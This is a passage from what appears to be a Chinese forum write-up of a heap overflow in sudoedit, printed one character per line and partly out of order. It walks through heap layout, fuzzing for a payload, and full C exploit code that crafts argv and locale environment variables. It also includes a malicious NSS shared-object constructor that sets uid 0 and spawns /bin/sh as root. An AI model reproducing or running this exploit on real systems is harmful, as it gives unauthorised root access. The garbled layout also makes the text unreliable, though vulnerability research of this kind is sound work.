t
m
a
i
n
(
i
n
t
a
r
g
c
,
c
h
a
r
*
a
r
g
v
[
]
,
c
h
a
r
*
e
n
v
p
[
]
)
{
…
…
s
e
t
l
o
c
a
l
e
(
L
C
_
A
L
L
,
"
"
)
;
b
i
n
d
t
e
x
t
d
o
m
a
i
n
(
P
A
C
K
A
G
E
_
N
A
M
E
,
L
O
C
A
L
E
D
I
R
)
;
t
e
x
t
d
o
m
a
i
n
(
P
A
C
K
A
G
E
_
N
A
M
E
)
;
…
…
f
o
p
e
n
函
数
从
t
c
a
c
h
e
分
配
0
x
1
e
0
从
t
c
a
c
h
e
分
配
大
小
为
0
x
2
0
的
n
a
m
e
_
d
a
t
a
b
a
s
e
_
_
g
e
t
l
i
n
e
函
数
从
t
c
a
c
h
e
分
配
0
x
8
0
的
行
缓
冲
区
_
_
g
e
t
l
i
n
e
函
数
从
t
o
p
c
h
u
n
k
分
配
0
x
1
0
1
0
的
文
件
缓
冲
区
从
0
x
6
0
的
s
m
a
l
l
b
i
n
切
割
出
0
x
2
0
的
堆
块
作
为
“
p
a
s
s
w
d
”
的
n
a
m
e
_
d
a
t
a
b
a
s
e
_
e
n
t
r
y
至
此
已
经
发
现
了
问
题
,
那
就
是
u
s
e
r
_
a
r
g
s
控
制
的
0
x
8
0
堆
块
地
址
为
0
x
5
5
8
0
e
d
b
d
7
1
1
0
向
后
覆
盖
到
了
“
p
a
s
s
w
d
”
的
n
a
m
e
_
d
a
t
a
b
a
s
e
_
e
n
t
r
y
(
地
址
为
0
x
5
5
8
0
e
d
b
d
7
4
4
0
)
。
回
溯
可
知
问
题
在
n
s
s
w
i
t
c
h
.
c
的
第
1
4
6
行
。
此
处
对
应
于
访
问
s
e
r
v
i
c
e
_
t
a
b
l
e
-
>
e
n
t
r
y
-
>
n
a
m
e
.
g
d
b
中
查
看
发
现
s
e
r
v
i
c
e
_
t
a
b
l
e
-
>
e
n
t
r
y
指
向
的
位
置
已
被
覆
盖
为
0
x
4
1
,
说
明
在
覆
盖
s
e
r
v
i
c
e
_
u
s
e
r
结
构
之
前
已
经
把
其
他
重
要
结
构
覆
盖
了
。
手
工
构
造
载
荷
已
经
失
败
,
但
后
面
通
过
F
u
z
z
构
造
出
来
的
载
荷
证
明
了
我
的
思
路
是
正
确
的
。
2
.
构
造
攻
击
载
荷
构
造
攻
击
载
荷
我
们
需
要
控
制
的
载
荷
的
几
个
变
量
有
:
分
配
给
u
s
e
r
_
a
r
g
s
的
堆
块
的
大
小
溢
出
的
长
度
用
于
操
控
s
e
t
l
o
c
a
l
e
的
环
境
变
量
可
被
s
e
t
l
o
c
a
l
e
识
别
的
环
境
变
量
共
有
1
3
种
,
环
境
变
量
的
值
的
形
式
为
“
C
.
U
T
F
-
8
@
A
A
A
A
…
”
,
长
度
由
@
后
面
的
字
符
控
制
。
根
据
上
述
三
个
变
量
f
u
z
z
出
的
载
荷
如
下
:
载
荷
触
发
的
崩
溃
现
场
:
六
六
.
E
x
p
l
o
i
t
/
*
g
c
c
-
o
e
x
p
l
o
i
t
e
x
p
l
o
i
t
.
c
*
/
#
d
e
f
i
n
e
_
G
N
U
_
S
O
U
R
C
E
#
i
n
c
l
u
d
e
<
s
t
d
i
o
.
h
>
#
i
n
c
l
u
d
e
<
s
t
d
l
i
b
.
h
>
#
i
n
c
l
u
d
e
<
s
y
s
/
t
y
p
e
s
.
h
>
#
i
n
c
l
u
d
e
<
u
n
i
s
t
d
.
h
>
#
i
n
c
l
u
d
e
<
s
t
r
i
n
g
.
h
>
#
d
e
f
i
n
e
M
A
X
_
E
N
V
4
0
9
6
#
d
e
f
i
n
e
S
T
A
C
K
_
S
I
Z
E
4
0
9
6
#
d
e
f
i
n
e
n
u
l
l
_
s
z
6
1
/
*
c
m
n
d
1
和
c
m
n
d
2
控
制
u
s
e
r
_
a
r
g
s
大
小
为
0
x
8
0
*
/
c
h
a
r
*
c
m
n
d
1
=
"
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
"
;
c
h
a
r
*
c
m
n
d
2
=
"
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
"
;
c
h
a
r
*
e
n
v
1
=
"
L
C
_
I
D
E
N
T
I
F
I
C
A
T
I
O
N
=
C
.
U
T
F
-
8
@
A
F
o
J
U
V
W
5
o
Y
1
E
C
m
t
H
m
"
;
c
h
a
r
*
e
n
v
2
=
"
L
C
_
N
U
M
E
R
I
C
=
C
.
U
T
F
-
8
@
A
g
A
W
E
G
N
9
y
w
E
Y
e
i
v
6
U
O
9
y
j
a
u
8
k
A
4
X
K
H
e
q
u
u
N
E
v
4
W
K
f
x
q
J
b
U
H
k
K
G
y
S
L
t
V
I
M
x
1
4
L
x
X
E
7
p
q
W
M
0
J
H
u
X
c
D
a
9
T
C
R
7
Y
7
s
L
B
j
I
"
;
X
.
s
o
.
2
的
实
现
:
c
h
a
r
*
p
o
p
s
h
e
l
l
=
"
X
/
X
"
;
i
n
t
m
a
i
n
(
v
o
i
d
)
{
i
n
t
i
=
0
;
c
h
a
r
s
t
a
c
k
[
S
T
A
C
K
_
S
I
Z
E
]
;
c
h
a
r
*
e
n
v
[
M
A
X
_
E
N
V
]
;
/
/
环
境
变
量
指
针
数
组
c
h
a
r
*
a
r
g
v
[
5
]
;
/
/
参
数
指
针
数
组
c
h
a
r
*
p
a
t
h
=
"
/
u
s
r
/
b
i
n
/
s
u
d
o
e
d
i
t
"
;
c
h
a
r
*
o
p
t
=
"
-
s
"
;
c
h
a
r
*
t
m
p
=
s
t
a
c
k
;
m
e
m
s
e
t
(
s
t
a
c
k
,
0
,
S
T
A
C
K
_
S
I
Z
E
)
;
m
e
m
s
e
t
(
e
n
v
,
0
,
8
*
M
A
X
_
E
N
V
)
;
m
e
m
c
p
y
(
t
m
p
,
p
a
t
h
,
s
t
r
l
e
n
(
p
a
t
h
)
+
1
)
;
a
r
g
v
[
0
]
=
t
m
p
;
/
/
复
制
s
u
d
o
e
d
i
t
路
径
t
m
p
+
=
s
t
r
l
e
n
(
p
a
t
h
)
+
1
;
m
e
m
c
p
y
(
t
m
p
,
o
p
t
,
s
t
r
l
e
n
(
o
p
t
)
+
1
)
;
a
r
g
v
[
1
]
=
t
m
p
;
/
/
-
s
选
项
t
m
p
+
=
s
t
r
l
e
n
(
o
p
t
)
+
1
;
m
e
m
c
p
y
(
t
m
p
,
c
m
n
d
1
,
s
t
r
l
e
n
(
c
m
n
d
1
)
+
1
)
;
a
r
g
v
[
2
]
=
t
m
p
;
t
m
p
+
=
s
t
r
l
e
n
(
c
m
n
d
1
)
+
1
;
/
/
第
一
个
命
令
m
e
m
c
p
y
(
t
m
p
,
c
m
n
d
2
,
s
t
r
l
e
n
(
c
m
n
d
2
)
+
1
)
;
a
r
g
v
[
3
]
=
t
m
p
;
t
m
p
+
=
s
t
r
l
e
n
(
c
m
n
d
2
)
+
1
;
/
/
第
二
个
命
令
a
r
g
v
[
4
]
=
N
U
L
L
;
f
o
r
(
i
=
0
;
i
<
n
u
l
l
_
s
z
;
i
+
+
)
{
/
/
填
充
反
斜
杠
,
由
于
t
o
+
+
=
f
r
o
m
+
+
,
反
斜
杠
后
面
的
空
字
符
会
被
复
制
到
缓
冲
区
m
e
m
c
p
y
(
t
m
p
,
"
"
,
2
)
;
/
/
此
举
为
了
将
s
e
r
v
i
c
e
_
u
s
e
r
结
构
中
n
a
m
e
字
段
之
前
的
全
部
填
充
0
e
n
v
[
i
]
=
t
m
p
;
t
m
p
+
=
2
;
}
m
e
m
c
p
y
(
t
m
p
,
p
o
p
s
h
e
l
l
,
5
)
;
/
/
“
X
/
X
x
0
0
”
填
充
n
a
m
e
字
段
e
n
v
[
i
+
+
]
=
t
m
p
;
/
/
最
终
会
被
解
析
为
加
载
l
i
b
n
s
s
_
X
目
录
下
的
X
.
s
o
.
2
共
享
文
件
t
m
p
+
=
5
;
m
e
m
c
p
y
(
t
m
p
,
"
a
"
,
2
)
;
/
/
这
个
a
是
为
了
终
止
w
h
i
l
e
循
环
的
越
界
写
,
e
n
v
[
i
+
+
]
=
t
m
p
;
/
/
写
的
内
容
太
多
了
会
导
致
程
序
异
常
终
止
t
m
p
+
=
2
;
m
e
m
c
p
y
(
t
m
p
,
e
n
v
1
,
s
t
r
l
e
n
(
e
n
v
1
)
+
1
)
;
e
n
v
[
i
+
+
]
=
t
m
p
;
/
/
s
e
t
l
o
c
a
l
e
的
环
境
变
量
t
m
p
+
=
s
t
r
l
e
n
(
e
n
v
1
)
+
1
;
m
e
m
c
p
y
(
t
m
p
,
e
n
v
2
,
s
t
r
l
e
n
(
e
n
v
2
)
+
1
)
;
e
n
v
[
i
+
+
]
=
t
m
p
;
/
/
s
e
t
l
o
c
a
l
e
的
环
境
变
量
t
m
p
+
=
s
t
r
l
e
n
(
e
n
v
2
)
+
1
;
e
n
v
[
i
]
=
N
U
L
L
;
p
r
i
n
t
f
(
"
[
.
]
p
i
d
:
%
d
n
"
,
g
e
t
p
i
d
(
)
)
;
p
u
t
s
(
"
[
.
]
t
r
i
g
g
e
r
i
n
g
h
e
a
p
o
v
e
r
f
l
o
w
.
.
.
"
)
;
e
x
e
c
v
e
(
p
a
t
h
,
a
r
g
v
,
e
n
v
)
;
/
/
启
动
s
u
d
o
e
d
i
t
r
e
t
u
r
n
0
;
}
/
*
g
c
c
-
f
P
I
C
-
s
h
a
r
e
d
c
a
l
l
b
a
c
k
.
c
-
o
l
i
b
n
s
s
_
X
/
X
.
s
o
.
2
*
/
#
d
e
f
i
n
e
_
G
N
U
_
S
O
U
R
C
E
#
i
n
c
l
u
d
e
<
s
t
d
i
o
.
h
>
#
i
n
c
l
u
d
e
<
s
t
d
l
i
b
.
h
>
#
i
n
c
l
u
d
e
<
u
n
i
s
t
d
.
h
>
七
七
.
总
结
总
结
一
开
始
我
打
算
通
过
分
析
堆
的
每
一
处
分
配
和
释
放
来
手
写
载
荷
的
,
但
是
发
现
堆
的
行
为
太
过
复
杂
,
s
e
t
l
o
c
a
l
e
的
环
境
变
量
和
溢
出
前
的
堆
布
局
之
间
的
关
系
较
为
复
杂
和
模
糊
,
于
是
转
向
F
u
z
z
搜
索
载
荷
。
总
体
而
言
我
认
为
这
个
漏
洞
虽
然
普
遍
存
在
,
但
是
要
成
功
利
用
还
是
不
容
易
的
,
最
重
要
的
原
因
是
受
到
操
作
系
统
环
境
的
影
响
,
即
使
是
同
发
行
版
的
系
统
、
运
行
相
同
的
内
核
、
相
同
的
s
u
d
o
程
序
,
实
际
的
e
x
p
l
o
i
t
的
执
行
效
果
仍
然
会
受
到
环
境
因
素
影
响
。
幸
运
的
是
f
u
z
z
出
来
的
载
荷
和
我
一
开
始
关
于
堆
布
局
的
设
想
是
一
致
的
,
载
荷
中
的
c
m
n
d
1
和
c
m
n
d
2
总
长
度
为
0
x
8
0
,
控
制
了
u
s
e
r
_
a
r
g
s
分
配
到
较
低
地
址
处
的
堆
块
,
成
功
溢
出
了
s
e
r
v
i
c
e
_
u
s
e
r
结
构
且
未
破
坏
其
他
关
键
结
构
。
e
x
p
l
o
i
t
链
接
:
点
击
底
部
【
阅
读
原
文
】
获
取
精
彩
推
荐
精
彩
推
荐
#
d
e
f
i
n
e
E
X
E
C
V
E
_
S
H
E
L
L
_
P
A
T
H
"
/
b
i
n
/
s
h
"
s
t
a
t
i
c
v
o
i
d
_
_
a
t
t
r
i
b
u
t
e
_
_
(
(
c
o
n
s
t
r
u
c
t
o
r
)
)
p
o
p
_
s
h
e
l
l
(
v
o
i
d
)
;
c
h
a
r
*
n
[
]
=
{
N
U
L
L
}
;
v
o
i
d
p
o
p
_
s
h
e
l
l
(
v
o
i
d
)
{
p
r
i
n
t
f
(
"
[
+
]
c
a
l
l
b
a
c
k
e
x
e
c
u
t
e
d
!
n
"
)
;
s
e
t
r
e
s
u
i
d
(
0
,
0
,
0
)
;
/
/
设
置
r
u
i
d
、
e
u
i
d
、
s
u
i
d
全
部
为
0
s
e
t
r
e
s
g
i
d
(
0
,
0
,
0
)
;
/
/
设
置
r
g
i
d
、
e
g
i
d
、
s
g
i
d
全
部
为
0
i
f
(
g
e
t
u
i
d
(
)
=
=
0
)
{
p
u
t
s
(
"
[
+
]
w
e
a
r
e
r
o
o
t
!
"
)
;
}
e
l
s
e
{
p
u
t
s
(
"
[
-
]
s
o
m
e
t
h
i
n
g
w
e
n
t
w
r
o
n
g
!
"
)
;
e
x
i
t
(
0
)
;
}
e
x
e
c
v
e
(
E
X
E
C
V
E
_
S
H
E
L
L
_
P
A
T
H
,
n
,
n
)
;
/
/
返
回
r
o
o
t
s
h
e
l
l
}
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页